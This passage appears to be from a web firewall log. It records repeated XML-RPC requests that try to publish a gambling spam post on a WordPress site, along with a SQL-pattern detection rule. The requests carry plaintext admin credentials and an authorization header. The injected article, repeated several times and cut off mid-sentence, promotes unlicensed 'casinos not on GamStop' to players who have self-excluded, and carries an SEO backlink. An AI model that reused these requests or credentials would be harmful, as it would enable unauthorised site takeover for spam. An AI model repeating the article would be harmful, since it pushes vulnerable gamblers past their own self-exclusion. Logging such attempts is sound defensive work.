traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36\naccept-encoding:identity\nauthorization:Basic YWRtaW46TEJtTiB4QjVLIHk3U3QgbnVBRSBXbjJEIDU5V04=\ncontent-length:11634\nhost:47.254.126.238\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-05-12 15:45:50","89.222.112.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36\naccept-encoding:identity\nauthorization:Basic YWRtaW46TEJtTiB4QjVLIHk3U3QgbnVBRSBXbjJEIDU5V04=\ncontent-length:11634\nhost:47.254.126.238\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you 